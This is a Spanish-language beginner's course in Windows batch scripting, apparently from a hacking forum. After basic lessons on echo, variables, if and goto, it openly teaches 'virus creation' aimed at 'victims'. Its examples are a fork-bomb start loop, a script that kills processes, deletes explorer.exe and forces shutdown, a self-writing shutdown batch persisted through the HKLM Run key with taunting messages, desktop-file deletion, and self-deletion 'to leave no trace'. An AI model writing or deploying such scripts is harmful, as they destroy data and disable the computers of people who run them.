Programción Batch Comun
INRODUCCION:
Este curso va destinado para Newbies que aun no han comenzado a programar. Intentare explicarlo todo lo mas claro y preciso que pueda. Si ustedes ya han programado alguna vez, no se molesten en leerlo, no aprenderan nada nuevo puesto que como ya e dicho, es para aprender.
El curso lo are por capitulos, escriviendo uno cada dia o dos dias para que vallan con calma y practicando lo aprendido. Les recomiendo hacer los ejercicios ustedes mismos a la vez que sigen el curso para que puedan aprender bien.
Los unicos requisitos son; el bloc de notas, paciencia e intentar entender lo que se hace
Capitulo Uno
MI PRIMER PROGRAMA .BAT
En este primer capitulo crearemos nuestro primer programa, usando los comandos mas basicos de la programcion en batch.
Abran el bloc de notas.
A continuacion escrivan
Código:
@echo off
Asi sera como empesemos siempre el programa
A continuacion escriviremos es titulo del programa, para ello pondremos title seguido de su titulo, ejemplo:
Código:
@echo off
title mi primer programa txshack
De esta forma nuestro programa tendra el nombre de, "mi primer programa txshack"
Ahora les mostrare una serie de comandos basicos que deven de aprender, les aconsejo que lo apunten en un papel para tenerlos siempre presentes.
echo. sirve para dejar un espacio de linea en el programa. Es lo equivalente a pulsar intro en el word
echo este sirve para mostrar un mensaje en el programa
rem este sirve para mostrar un mensaje pero que no se vera en el programa, es decir tan solo se vera en el modo ediciom osea donde estamos ahora, en el bloc de notas..(suel escrivirse para acer tus aclaraciones, y que no te parezca lioso, por ejemplo decir, asta aqui la introduccion, asta aqui las preguntas, apartir de aqui ire acabando las operaciones...etc)
pause sirve para acer una pausa en el programa, es decir, una vez llegados ahi, nos dira el programa... pulse una tecla para continuar... en cambio si escrivimos pause > nul no nos lo preguntara, es decir, daremos una tecla y continuara.
exit esta sirve para acabar el programa, para salir de el....
Bien una vez dicho esto, podremos crear nuestro primer programa.
Abran el bloc de notas si aun no lo han echo y escriban..
Código:
@echo off
title mi primer programa txshack
echo.
echo comentario
echo.
pause
echo.
echo este es mi primer programa jejeje siiiiii
pause > nul
rem y aca ya se acaba, esto no lo leere pero me sirve de aclaracion
exit
Aora le dan a guardar como y lo llaman por ejemplo 1?‚ºprogramacontxshack.bat o lo que quieran, pero deve ser loquesea.bat
Aora veran que se a creado un programa que tiene el icono como de una ventana blanca con una rueda dentada dentro, pues ese es nuestro programa!! ejecutenlo y vean!!
Despues intenten entender el codigo, y veran lo sencillo que es...
En el proximo capitulo les ense?are como hacer que el programa te aga preguntas y tu responderlas...etc
No se impacienten!! jeje
Espero que les ayude.
CAPITULO 2: LAS VARIABLES
Espero que les quedase claro lo que dimos en el capitulo numero. Fue una cosa sencilla no?
Ahora pasaremos a las variables.
Una variable, es una especie de memoria a la que podemos asignarle un dato, para acerlo referencia mas adelante. Para entenderlo, lo mejor es que agamos un ejemplo.
Código:
@echo off
title ejemplos
set var=capullo
echo eres un %var%
pause
Como veran comenzamos con @echo off y seguimos poniendo un titulo, en este caso lo he llamado ejemplos. (asta aki ya lo sabian no)
a continuacion al poner set var=capullo ace que la palabra capullo se muestre cuando ponemos var entre %% de esta forma, cuando ponemos eres un %var% el programa nos muestra, eres un capullo jejeje, esto es un ejemplo, vean.
han visto no asi pueden acer todo lo que se les ocurra...lo q deven recordar es que tiene q empezar por set unapalabra= loquequieras y para acer luego referencia a loquequieras, menten entre %% la palabra seguida de set, de esta forma %unapalabra%
por s un lio, ponemos cls y cuando llege ahy borrara lo anterior y continuara con el codigo... Benga, les ago el ejemplo...
Código:
@echo off
title ejemplo4
set/p nombre= ?como te llamas?
echo.
pause
echo.
set/p edad= ?y cuantos a?os tienes?
echo.
pause
echo.
set/p vive= ?y donde vives?
echo.
pause
cls
echo te llamas %nombre% y tienes %edad% a?os y vives en %vive%
echo.
pause > nul
exit
han visto no si no hacen los codigos, por lo menos les aconsego que lo agan con los mios, den a copiar y pegar para que les sirva de ejemplo. Vallan provando, es la mejor forma de acordarte de ello y coger soltura
Y bueno, si se an quedado con esto... por oy ya es bastante...
Ah!! una ultima cosa.. les voy a dar ya los codigos de colores para que experimenten a cambiar el color a la ventana del programa. Es facil de usar, deven poner, color seguido de un numero y letra (color de letras y de fondo)... prueven....
CODIGO DE COLORES:
0 = Negro
1 = Azul
2 = Verde
3 = Aguamarina
4 = Rojo
5 = Prpura
6 = Amarillo
7 = Blanco
8 = Gris
9 = Azul claro
A = Verde claro
B = Aguamarina claro
C = Rojo claro
D = Prpura claro
E = Amarillo claro
F = Blanco brillante
Os dejo un ejemplo del anterior, ejmplo3, para que vean como se meten los colores
Código:
@echo off
title ejemplo4
color 5e
set/p nombre= ?como te llamas?
echo.
pause
echo.
set/p edad= ?y cuantos a?os tienes?
echo.
pause
echo.
set/p vive= ?y donde vives?
echo.
pause
cls
color 2f
echo te llamas %nombre% y tienes %edad% a?os y vives en %vive%
echo.
pause > nul
exit
CAPITULO 3: VARIABLES -CONTINUACION-
En esta ocasion, os explicare otro tipo de variables, que se utilizan para hacer operaciones matematicas. Su base y modo de empleo es similar a las del capitulo anterior (las set/p).
Estas en vez de set/p xxx= se llaman set/a xxx=
Sirve por ejemplo para realizar medias, porcentajes...etc...
Lo mejor es ver un ejemplo:
Por cierto, antes de mostrar el codigo, se acuerdan del comando rem no? aparece en el 1?‚º capitulo, y se usa para acer aclaraciones a la hora de acer el codigo, pero q luego en el programa no se vera. Os lo digo porque lo utilizare para irles explicando.
VEAN:
Código:
@echo off
title calcula tus nota lo que acemos es dotar la palabra asig con el valor 6
set/a suma=a+b+c+d+e+f
rem aqui sumamos las medias
set/a media=%suma%/%asig%
rem como veran al dividir la suma entre las asignaturas sacamos la media
echo tu nota media es de : %media%
pause
echo estudia mas cabron
echo.
echo consejo de txshack
pause
exit
Se me olvidaba decir que no muestra decimales, es decir si tu media es de 5,25 veras 5... ‚¡que qereis!? jeje
Espero que lo ayais entendido.
Los comandos de las operaciones son
suma+
resta -
producto *
division /
exponente ^
CAPITULO 4: IF, GOTO, MENUS
Bueno, en este 4?‚º capitulo, os explicare 2 sencillos comandos (el goto, y el de la estructuracion por menus), y otro algo mas complicado (el if) pero vereis que con un poco de practica tambien esta chupado.
El comando goto, nos permite dar un salto a un determinado lugar del bat. Por ejemplo para ir a un menu...
Los menus, nos permiten hacer "menus" o apartados en nuestro bat.
Los menus se hacen escriviendo : y seguido el nombre del menu. (con el ejemplo de luego lo vereis mas claro)
El comando if sirve para establecer una condicion, es decir, si la condicion se cumple o no, se ara tal cosa.
El comando if, dispone de los siguientes atributos:
variable==valor (para expresar si la variable es igual a valor az esto)
variable LSS valor (para expresar si la variable es menor a valor az esto)
variable GTR valor (para expresar si la variable es mayor a valor az esto)
variable LEQ valor (para expresar si la variablees menor o igual az esto)
variable GEQ valor (para expresar si la variable es mayor o igual az esto)
Para ver mas claro esto del goto, el if, y lo de los menus, os pondre un simple ejemplo.
Código:
@echo off
title txshack if, goto y menus
:menu
cls
echo responde si o no
echo.
set /p var=quieres convertirte en hacker??
If %var%==si goto serh
If %var%==no goto noh
:serh
cls
echo pues entonces sigue los consejos de txshack
pause > nul
goto end
:noh
cls
echo.
echo pues entonces que co?o aces leyendo esto??
pause > nul
goto end
:end
cls
echo.
echo adios
pause
exit
Han comprendido no es sencillo.
Aqui os dejo otro ejemplo
Código:
@echo off
title ?que numero sera...?
:menu
cls
echo deves averiguar el numero para poder salir
echo.
set /p var=pon un numero:
If %var%==5 goto si
If %var% LSS 5 goto menor
If %Var% GTR 5 goto mayor
:si
cls
echo correcto!!! por culo te la inco!! jaja
pause
goto salir
:menor
cls
echo elije otro mas alto
echo.
echo sigue jugando
pause > nul
goto menu
:mayor
echo elije otro mar peke?o!!
echo.
echo sigue probando
pause > nul
goto menu
:salir
echo.
echo asta otro dia!!
pause > nul
echo.
echo un saludo, txshack
pause
exit
Ya lo abran pillado no
Tambien pueden usar el comando if not que hace lo contrario que el if. En vez de decir SI pasa esto....haz esto, lo que hace es decir, SI NO pasa esto...haz esto. ?Entienden no? sino agan un ejemplo veran q facil es.
Se preguntaran tambien que pasa, cuando por ejemplo en el 1?‚º ejemplo que puse, en vez de escrivir si o no, escribimos otra cosa, entonces lo que sucedera, es que el lenguage, al ser lineal, pasra a la siguiente linea... sin importar lo q pongamos (pruevenlo).
Pero no se preocupen todo esto tiene solucion con un comando llamado else.
Lo que qiere decir es sino haz esto, es decir, por ejemplo decimos
Código:
if %vari%=1 (goto menu1) else goto menu2
Lo que qiere decir esto, es que si la variable es 1, vallamos al menu1, sino, al menu 2.
La sintaxis seria esta
if condiciones (accion1) ELSE accion2
La 1?‚º accion deve ir entre parentesis obligatoriamente.
Vean un ejemplo les quedara mas claro...
En el ejemplo se trata de decir si quieres un CONSEJO o si quieres SALIR, si escrives cualqier otra cosa, veran que vuelve al principio, y no pasa como en los ejemplos de antes
Código:
@echo off
title txshack di soy bobo
:menu
cls
echo que quieres? consejo o salir
echo.
set /p var=dime, consejo o salir:
If %var%==consejo (goto consejo) else goto if2
:if2
if %var%==salir (goto end) else goto menu
:consejo
cls
echo ten cuidado con lo que descargas, fiate solo de txshack, el es legal!!
pause > nul
goto end
:end
cls
echo.
echo adios!!
pause
exit
Bueno, y con todo esto acabo por hoy. Creo que son bastantes cosas por hoy no creen
Pronto seguire.
Bien, si an entendido lo anterior, ya es el momento de que sepan el resto de comandos, y experimenten y prueven por ustedes mismos.
En este capitulo, os ense?are el resto de comandos interesantes, y para el proximo capitulo, nos meteremos con la creacion de virus, e iran surgiendo nuevas cosas y comandos.
Bien, estos son los comandos basicos q deven recordar:
del borra archivos, por ejemplo: del c:/ruta/del/archivo/juego.exe
/P Pide confirmacin en cada caso
/F Modo force. Borra incluso los archivos de solo lectura
/S Borra tambin los subdirectorios.
/Q Modo silencioso. No pide confirmacin en ningn caso
rd borra el directorio de raid, por ejemplo: rd c:/ruta/directorio/raiz borrara ese dir.
star comienza algo, por ejemplo star www.infiernohacker.mundoforo.com
taskkill mata un porceso, puede ser tambien taskkill/f (fuerza bruta) ejemplo: taskkill iexplore.exe
format unidad: formatea una unidad, por ejemplo format c:
msg* hace que aparezca un mensaje en una ventana de windows, por ejemplo; msg* adios!! y no te olvides de visitar infiernohacker
reg add a?ade lo que qeramos a la ruta del registro especificada...(ya lo veremos mas adelante)
> y >> son unos redireccionamientos, por ejemplo, si ponemos echo hola>hola.txt se nos creara en el directorio actual, un archivo de texto con el titulo de hola, y que si lo abrimos veremos la palabra hola.
Si por ejemplo ahora creamos otro y escrivimos echo adios>>hola.txt En el archivo que teniamos anteriormente, se seguira llamando hola, pero al abrirlo veremos que pone hola y en la linea siguiente adios.
Pero si por el contrario ponemos echo adios>hola.txt Al abrir el arvhivo, solo aparecera la palabra adios.
Espero que lo hayan entendido... en brebes palabras_
> crea o remplaza un archivo
>>salta asta la linea siguiente
ejemplo:
Código:
@echo off
echo txshack>hola.txt
exit
Esto nos creara en el directorio actual, un archivo llamado hola.txt y en su interior pontra txshack
* El * sirve para sustituir a todos los caracteres... por ejemplo si ponemos del *.jpg
borrara todos los archivos con extension .jpg
del a*.jpg borrara todos los jpg que empiezen por a sea cual sea su continuacion.
? El ? es parecido al anterior, solo que sustituye a un solo caracter, por ejemplo si ponemos del c?sa.jpg borrara todos los archivos .jpg que comienzen por c (un caracter cualquiera) sa, por ejemplo borraria; casa.jpg cosa.jpg cesa.jpg cssa.jpg.... entienden no?
El * y ? sirve tanto para el nombre como la extension.... No voy a liarme mucho en esto, porque es algo facil y seguro que lo entienden. Les pondre algun ejemplo que seguro q entienden.
c?sa.* (archivos c -un caracter- sa y de cualquier extension)
*asa*.b* ( -cualquier cosa- asa -cualquier cosa- y extension b + lo que sea)
CHDIR o CD [path>
Cambia al directorio indicado.
CD \"c:\\archivos de programa\" Trasladarse al directorio Archivos de programa
CD .. Trasladarse al directorio superior
CD \\ Trasladarse al ra?*z
ATTRIB [/S> [archivo>
Muestra los atributos de los archivos indicados y en su caso permite cambiarlos.
Con el par?metro /S busca tambin en subdirectorios.
Los atributos son:
H -> oculto. Se activa con +h y desactiva con -h
R -> Lectura. Solo lectura con +r, normal con -r
S -> Sistema. Se activa con +s y desactiva con -s
A -> Modificado. Para copias de seguridad incrementales. +a indica modificado y -a indica no modificado.
ATTRIB archivo.txt Muestra los atributos de ese archivo
ATTRIB -r archivo.txt Pone el atributo solo lectura a archivo.txt
Attrib miarchivo.txt (mostrar los atributos de miarchivo.txt)
attrib *.exe +r +r +s (pone a todos los archivos con extensin exe como ocultos, del sistema y read only)
shutdown este comando, depende de las letras que lo acompa?en, puede acer una cosa u otra:
si esta seguido de -r se reiniciara el equipo
-s hara que se apage
-f forzara a cerrarse todos programas
-t 15 indica el tiempo...en este caso 15 segundos
-c " " lo que va entre comillas sera un mensaje...
pongamos un ejemplo_
shutdown -r -f -t 12 -c "jodete" esto ara q la pc se reinicie (-r) que se cierren todos los programas forzosamente (-f) que lo aga en 12 segundos (-t 12) y salga un mensaje q diga jodete
Estos comandos, junto a los q ya conocen: set/p, pause, pause > nul, cls, exit, echo, if, goto....etc son los basicos.
Como ya les dijen puede que ahora se me escape alguno...pero cuado veamos la creacion de virus y programas, iran apareciendo los que me ayan quedado. De momento creo que con estos tenemos por hoy
CAPITULO 6: INICIACION A LA CREACION DE VIRUS
Como ya os habia dicho, a partir de aqui, comenzaremos con la creacion de virus.
Empezare con lo mas importante acerca de esto, y ya iremos abanzando. Posiblemente repita algunas cosas ya explicadas brevemente, como el comando shutdown, pero creo que es importante repetirlo (profundizando algo mas) en este tema.
1.)Introduccion
Buenas , ante todo he de decir que esto es un manual de introduccin y no un manual para expertos. En este manual se hablara sobre los virus .bat (archivos por lotes ejecutables de ms-dos)
¿Que es un comando?
es una orden que le damos al sistema operativo para que haga una tarea determinada.
explicacin: @echo off
Desabilita el echo para que no muestre los comandos , que se ejecutaran posteriormente.
explicacin: shutdown
es un comando con el que puedes jugar bastante. -s y -t son parametros, los parametros son como las opciones
que les deves dar al comando. algunos comandos requieren parametros obligatoriamente sin embargo otros no.
explicacin: parametro -s y -t
el parametro -s da la orden a shutdown para que apage el equipo y con -t especificamos los segundos. en el ejemplo
de antes pusimos 1 segundo.
otros parametros de shutdown:
shutdown -r = Reinicia
shutdown -c = deja un comentario "Modo de uso">> shutdown -s -t 5 c "Comentario"
shutdown -m = apaga un equipo de la red "Modo de uso">> shutdown -s -t 4 -m \\nombredehost
shutdown -f = fuerza el cierre de las aplicaciones.
Comandos b?sicos
a continuacin os pondr varios comandos que sirven mucho a la hora de hacer virus.
-del = borra un archivo
-copy = copia un archivo
-reg = hacer modificaciones en el registro
-net = Muchas funciones, escriban en cmd net /? para ver sus funciones
-RD = elimina un directorio
-set = Muestra , establece, crea , variables de entorno de windows.
-taskkill o tskill = mata procesos
Comandos del registro
Operaciones:
REG QUERY /?
REG ADD /?
REG DELETE /?
REG COPY /?
REG SAVE /?
REG RESTORE /?
REG LOAD /?
REG UNLOAD /?
REG COMPARE /?
REG EXPORT /?
REG IMPORT /?
Usad estos comandos para obtener ayuda sobre los parametros despus de reg.
inicio-ejecutar-cmd y escrivid algun comando para saber lo que es (asi me ahorro el explicar cada uno xD)
Bucles
Bueno un bucle es repetir muchas veces lo mismo
ejemplo
@echo off
:txshack
echo te estoy haciendo un bucle jaja
goto txshack
jeje ya podeis imaginaros las cosas que podeis hacer.
otro ejemplo:
@echo off
:menu
start
goto menu
Madre m?*a.. este simple cdigo , el que lo abra tendr? que reiniciar , por que el pc se le trabar? todo.
el comando start lo que hace es abrir otra shell, as?* que imaginate este bucle infinito.
podeis juegar con esto a vuestro antojo, abriendo blocs de notas, abriendo internet..etc
(start http://infiernohacker.mundoforo.com)
Nuestro segundo virus.
@echo off
taskkill /F /IM msnmsgr.exe
del /F c:\windows\system32\explorer.exe
shutdown -s -t 10 -c "Asta luego lucas!!"
Este virus cierra el msn, elimina el proceso explorer (sabeis lo q es no) y apaga la pc en 10 segundos con el mensaje asta luego lucas xD
Variables de windows xp
para ver el contenido de estas variables escriban en cmd.exe
echo %NOMBREDELAVARIABLE%
%COMPUTERNAME% = Nombre de host.
%SYSTEMROOT% = Carpeta de administracin Normalmente c:\windows
%TEMP% = directorio donde se encuentran los archivos temporales
%WINDIR% = directorio de windows.
%USERNAME% = usuario con el que se inicio sesin
%USERPROFILE% = directorio donde se encuentran los archivos del usuario que inicio sesin
%PROGRAMFILE% = directorio donde se encuentran los archivos de programas
%OS% = muestra el sistema operativo que estamos ejecutando
%LOGONSERVER% = nombre de nuestro server (\\mihost)
no son todos pero estan los mas importanter
CAPITULO 7: CONTINUACION DE LA CREACION DE VIRUS
Bueno, puesto que muchos estais esperando este nuevo capitulo, e sacado un rato y por fin e podido hacerlo.
Teniendo mas o menos claros lo del tema anterior en este intentare explicaros de la forma mas clara posible como hacer que el virus se quede en run para que se ejecute al arrancar, y algunas cosillas mas...
Podemos crear un virus que se ejecute, haga su funcion y ya esta...
o podemos crear un virus, que se guarte en la PC y se ejecute con esta cada vez que se inicie...
Como podemos ver el da?o no es igual...
imaginen este virus:
@echo off
shutdown -r -f -t 5
exit
Lo que ara sera reiniciar la PC a los 5 segundos, y ya esta.... no volvera a acerlo a no ser q la victima lo vuelva a ejecutar...
Pero imaginen que este virus se inicia cuando encendemos el PC... osea, el solito... entonces ya joderia algo mas no?
Pues bien, esto es lo que voy a intentar explicar.
1?‚º Devemos acer que nuestro virus se cree en algun directorio
2?‚º A?adirlo al registo, (a run)
3?‚º Esto ya es opcional, podemos hacer q se ejecute, o poner algo en el bat... etc
Bueno, en primel lugar, comenzaremos como siempre
@echo off
A continuacion, deveremos ir al directorio donde queremos que se qede nuestro virus, por ejemplo C: o System32 o Windows... etc
Si queremos que se guarde en c: basta con escrivir tan solo cd
@echo off
cd
Si por ejemplo queremos q se guarde en System32, pues ariamos:
@echo off
cd c:\windows\system32
Y de esta forma igual con cualquier otro directorio....
Pues bien, imaginemos q lo guardamos en System32, pues aora deveremos crear un bat completo en system32... es decir... crear uno desde el principio, apartir de este...
Lo veran mejor con el siguiente ejemplo
Código:
@echo off
cd c:\windows\system32
echo @echo off > virus.bat
echo shutdown -r -s -t 5 >> virus.bat
echo exit >> virus.bat
exit
Entienden lo que emos echo no si an seguido el manual desde el principio, entenderan el porqe del > y del >>.
Por si no lo saben se lo explico brebemente:
El > sirve para crear o remplazar un archivo, y el >> para excrivir en la linea siguiente.
Una vez echo esto, ya tendremos nuestro virus.bat en la carpeta system32. Ahora solo nos queda a?adirlo a RUN para q se inicie con windows...
Para ello a?adiremos lo siguiente:
reg add hkey_local_machine\software\microsoft\windows\curr entversion\run/v virus.bat/t reg_sz /d C:\windows\system32 /f
Como veran, donde pone virus.bat, es el nombre que le emos dado, y poco mas adelante aparece la ruta C:\windows\system32.
Si hubiesemos dado otro nombre o otra ruta, solo seria modificarlo.
Asi que de momento nuestro virus iria asi:
Código:
@echo off
cd c:\windows\system32
echo @echo off > virus.bat
echo shutdown -r -s -t 5 >> virus.bat
echo exit >> virus.bat
reg add hkey_local_machine\software\microsoft\windows\curr entversion\run/v virus.bat/t reg_sz /d C:\windows\system32 /f
exit
Pues con esto ya ariamos una buena chapuzilla a alguno xD jeje.
Ahora podriamos poner algun mensaje y tambien ejecutar el bat...
Por ejemplo asi:
Código:
@echo off
cd c:\windows\system32
echo @echo off > virus.bat
echo shutdown -r -s -t 5 >> virus.bat
echo exit >> virus.bat
reg add hkey_local_machine\software\microsoft\windows\curr entversion\run/v virus.bat/t reg_sz /d C:\windows\system32 /f
msg * Estas perdido amigo
msg * Ahora TxShack domina tu pc
msg * jajaja
start c:\windows\system32\virus.bat
exit
Bueno, y asta aqui, explicare por hoy
Espero que lo hayan entendido todo...
Otro dia are algun virus mas complicado (mas completo) incluyendo mataprocesos, borrado de archivos...etc
Pongan a prueva su ingenio e imaginacion!! Es mas facil de lo que parece.
Un saludo, y asta pronto.
Como iniciarse en batch desde el principio
Indice
1. ¿Que es Batch?
1.1 Codigos Basicos y Pequeña Practica Iniciativa
1.2 ¿Como guardo el Batch?
2. Variables
2.1 Variables del entorno
3. Automatizando Tareas (AT)
4. Utilizacion de comandos de red
5. Redirecciones
6. %0, %1, etc.
7. Manejo del Registro
1. ¿Que es Batch?
Batch no es un lenguaje de programacion en si. Sino un archivo de procesamiento por lotes que permite utilizar comandos de CMD (o simbolo de sistema), tanto como variables y condiciones como IF, IF exist, etc.
Se programa en el Block de notas o cualquier tipo de editor de texto plano. NO usen ningun editor de texto como word o wordpad porque eso ya no es texto plano sino enriquesido y no funcionaria.
1.1 Codigos Basicos y Pequeña Practica
Lo primero es abrir el Block de Notas. Inicio > Todos los progrmas > accesorios > Block de Notas.
Los comandos basicos de batch son los siguientes:
*ECHO: imprime un texto en pantalla
[email protected] OFF: oculta los comandos que programamos para que cuando se inicie el bat no se puedan ver los codigos y solo el programa.
* DIR: muestra un listado con el contenido de un directorio.
* TYPE: muestra el contenido de un archivo en pantalla.
* COPY: copia archivos en otro lugar.
* REN (RENAME): renombra archivos.
* DEL: borra uno o varios archivos (con posibilidad de recuperarlos mediante la orden UNDELETE, salvo que el lugar del archivo o archivos borrados hubiese sido utilizado con posterioridad).
* MD o MKDIR: crea un nuevo directorio.
* CD o CHDIR: cambia el directorio actual por el especificado.
* RD o RMDIR: borra un directorio vacío.
* DELTREE: borra un directorio con todo su contenido, incluidos subdirectorios (apareció en las últimas versiones)
* CLS: limpia la pantalla.
* HELP: ayuda sobre las distintas órdenes.
* SORT: ordena Datos
*SHUTDOWN: apaga el ordenador
Ahora probamos
Abres el Block y escribes el siguiente codigo.
@echo off
title Primer Programa
echo presiona una tecla
pause
echo hola
pause > nul
exit
Aca una screen del codigo anterior luego de ser compilado y funcionando:
Ahora expliquemos el codigo que copiaste
@Echo off
este codigo lo que hace es ocultar todos los comando que vas a utilizar en el programa, sino nos apareceria lo que pusimos y la victima se daria cuenta de que es un virus en caso de que lo sea.
Title
este es el nombre que aparece en la ventana del DOS cuando ejecutas el programa.
Echo
este code sirve para "imprimir" o mostrar lo que es cribamos en la pantalla.
por ejemplo
echo hola
en la pantalla apareceria "hola"
Pause
esto crea una pausa en el programa y tienes que presionar una tecla para proseguir.
Pause > nul
esto es lo mismo que lo anterior pero unicamente que no muestra el cartel en la pantalla que dice "presione un tecla para proseguir"
1.2 ¿Como guardo el Batch?
Primero ponemos el codigo en el block de notas luego pulsamos Archivo>Guardar como...
Luego en el nombre ponemos el nombre que le queramos poner y los mas importante tiene que tener la extension .bat Tambien nos aseguramos que abajo diga "todos los archivos"
2. Variables
DEFINICION
Las variables se usan en la mayoria de los lenguajes de programacion(diria en todos pero no conosco todos
). Son datos que pueden ir cambiando a medida que el programa corre. Las variables pueden adquirir diferentes valores alfanumericos (letras y numeros), tambien se nos permite sumar variables o imprimirlas en pantalla. O incluso realizar operaciones matematicas.
Cuando llamas una variable en batch siempre se encierran entre "%" por ejemplo tenemos la variable zero, cuando la llamamos seria %zero%
A LA PRACTICA
comenzaremos examinando el code siguiente:
@echo off
title variables
echo bienvenido al ejercicio para aprender variables
echo .
echo presiona una tecla para continuar
pause > nul
set /p nombre=como te llamas?
set /p edad=cuantos anios tenes?
set /p comida= que comes?
pause > nul
echo hola %nombre%
echo veo que tienes %edad% anios verdad?
echo como rayos te puede gustar %comida%?
pause > nul
exit
Ahora Examinemos el code:
set /p nombre=como te llamas?
con esto estamos haciendo que el archivo le pregunte al usario el valor de la variable nombre. Set es el comando para llamr variables.
/p significa que el usuario le pondra el valora la variable por medio de una pregunta.
"nombre" ahi esta el nombre dela variable.
"=como te llamas?" es la pregunta que se le hara al usuario.
He aqui un modelo standar de variable
set /p var1=que valor le asigna a la variable 1?
tambien se puede otorgar un valor a la variable sin preguntarle al usuario. por ejemplo
set var=pesos
echo hola %nombre% veo que tienes %edad% años verdad? como rayos te puede gustar %comida%? XD
exit
Aqui imprime en pantalla un texto usando las variables, como mencione al principio las variables se llaman entre "%". Entonses el batch imprimira en pantalla el valor de las variables nombre, edad y comida adicionadas con el texto expuesto
este seria el ejemplo del programa corriendo asi se entiende mejor:
Bienvenidos al ejercicio para aprender variables
.
Presione una tecla para continuar
como te llamas? holy
que edad tienes? 14
que comes? nada
hola holy veo que tienes 14 años verdad? como rayos te puede gustar nada? XD
2.1 Variables del entorno
hay ciertas variables que nos ayudaran a la hora de hacer programas o virus para asegurar (o subir mucho la probabilidad) que funcionen las ordenes del batch que hagamos. Por ejemplo:
nosotros progrmamamos un batch que busca si tenes los archivos "cmd.exe" y "notepad.exe"
logicamente le podremos que busque en la ruta c:/windows/system32/
pero que pasa si la victima no tiene instalado win en c: y lo tiene instaldo en la particion e claro el batch dira que no estan pero en realidad si estan pero en otra unidad entonses para evitar este tipo de errores usaremos las variables del entorno que son las siguientes:
%ALLUSERSPROFILE% ------> todos los usuarios
%APPDATA% ---------> datos de programa
%PROMPT%%TEMP% y %TMP% ---------> temporales
%USERDOMAIN% -----------> obtener dominio
%USERNAME% --------------->nombre del usuario Actual
%USERPROFILE% ---------------> usuario configuracion
%programfiles% ---------------> archivos de programas
%systemroot% ----------------> windows
%homedrive% --------------> disco Raiz
para este caso nos serviria la variable de "%homedrive%". Pongamos el ejemplo con un simple batch que ejecuta el notepad
@echo off
title pruba
echo ahora se ejecutara el notepad
%homedrive%/windows/system32/notepad.exe
exit
en caso de que tubieramos en el disco c:
eso reemplaza la unidad, en conclusion son comodines que nos ayudan a la hora de programar batch.
3. Automatizando Tareas (AT)
El comando AT permite automatizar la ejecucion de un comando para una hora y/o fecha determinada. Por ejemplo qeu el dia 24/12/07 a las 14:45 borre todos los accesos directos del escritorio. O que a las 5 de todos los dias se apague el pc. O tambien que se ejecute algo todos los 24. Aqui les mostrare unos ejemplos y veran los facil que es.
@echo off
at 4:00 shutdown -s -f -t 01
pause > nul
exit
@echo off
at /next:4 4:00 shutdown -s -f -t 01
pause > nul
exit
@echo off
at /every:4/2 4:00 shutdown -s -f -t 01
pause > nul
exit
Otra forma un poco mas compleja de ejecutar una tarea todos los dias a una hora es agregar el comando a la clave run del registro para que inicie con windows. No es para nada complicado. Lo unico seria agregar un add reg.
@echo off
rem este code contiene una redireccion,
at 3:00 shutdown -s -f -t 05 > c:/shut.bat
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/shut.bat"
del %0
exit
.4 Utilizacion de comandos de red
Los comandos de red son muy usados. Noy hay mucho que decir, son para diversas tareas tales como pings, fingers, netbios, telnet, etc. Aqui les dejo una lista de comandos con su explicacion.
FTP
Iniciar el cliente ftp
IPCONFIG parámetros
Mostrar las características de configuración de IP
/all -> muestra toda la información de configuración
/release adaptador -> libera la ip del adaptador especificado
/renew adaptador -> renueva la ip para el adaptador especificado
/flushdns -> purga la caché de resolución de dns
/registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns
/displaydns -> muestra el contenido de la cache de resolución dns
NBTSTAT
Hace un estado de la red por netbios
Tiene muchos parámetros. Consultarlos mediante nbtstat /?
NET parámetros
Comando para el uso de redes netbios
USE \\equipo\recurso -> para acceder a unidades lógicas compartidas. Se le asignará un nombre de unidad y estará disponible como una unidad mas del sistema.
USE \USER: dominio\usuario para acceder a un dominio
USE unidad /DELETE eliminar el acceso a unidad compartida.
SHARE trayecto /REMARK texto -> para compartir un recurso en red
START -> para comenzar sesión netbios
STOP -> para detener netbios
NETSTAT
Para ver el estado de la red.
-a -> mostrar todos los puertos y conexiones
-n -> mostrar números de puertos y direcciones
-r -> mostrar la tabla de rutas
-s -> mostrar estadísticas por protocolo
-p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas
NSLOOKUP dominio
Muestra el dominio, su ip, dns donde se resuelve y sus alias
PING
Enivia paquetes a un host para comprovar su disponibilidad
TELNET ip puerto
Utilizar el protocolo telnet para acceso a un servidor exterior
TRACERT destino
muestra el camino que se toma hasta llegar a la ip
5. Redirecciones
Las redirecciones tienen una tarea simple y definida. Redireccionar comandos. Nos sirven por ejemplo para redireccionar un comando a un archivo.
@echo off
shutdown -s -f -t 01 >> "c:/shut.bat"
En este caso creara el file "shut.bat" con el contenido redireccionado . Nos sirve para crear por ejemplo un virus que se autoelimine para no dejar rastros.
@echo off
del /f /q c:/documents and settings/%currentuser%/escritorio/*.* > "c:/windows/system32/sysdoc.bat"
del /f /q %0
rem comando %0 refiere al mismo archivo, explicado en el proximo capitulo
Tambien se puede redireccionar a un dispositivo. Por ejemplo a la impresora con:
echo hola > prn
Este code tendria que salir por la impresora.
DISPOSITIVO -- SALIDA
CON -- Salida por la pantalla
PRN -- Salida por la impresora por defecto
LPT1 -- Salida por la 1º impresora en paralelo
COM1 -- Salida por el primer puerto serie
COM2 -- Salida por el segundo puerto serie
6.%0, %1, etc.
Estos valores, son parametros pre-definidos o a definir por el usuario. A continuacion seran explicados con ejemplos.
%0 se refiere al programa mismo, osea al batch donde esta empleado. Es medio confuso pero se comprueba con este ejemplo:
@echo off
del /f /q %0
exit
Los demas %1, %2, %3 hasta 1000, son parametros no definidos. Estos hacen referencia a los parametros que se pueden especificar para un comando.
dir /p
en este caso "/p" seria igual a %1.
Entonses si ponemos
del /f /q
"/f" es %1 y "/q" es %2
Estas variables, nos sirven a la hora de crear diferentes paramentros de comportamiento para el programa. Por ej. Si queremo s que cuando le agregemos /help como %1, osea primer parametro, no ejecute el programa normalmente, sino que ejecute la ayuda del programa. Aqui les he traido un simple code que demuestra el funcionamiento de etas varibles, gurdenlo con el nombre prueba.bat, luego en la consola vayan a la ruta donde lo guardaron y ejecutenlo de este modo:
C:\Documents and Settings\administrador\Escritorio\>prueba.bat /help
y luego solo normalmente
C:\Documents and Settings\Francisco\Escritorio\>prueba.bat
@echo off
title Ejemplo de variables
if %1==/help (goto help) else goto :tex
:help
echo Esta es la ayuda
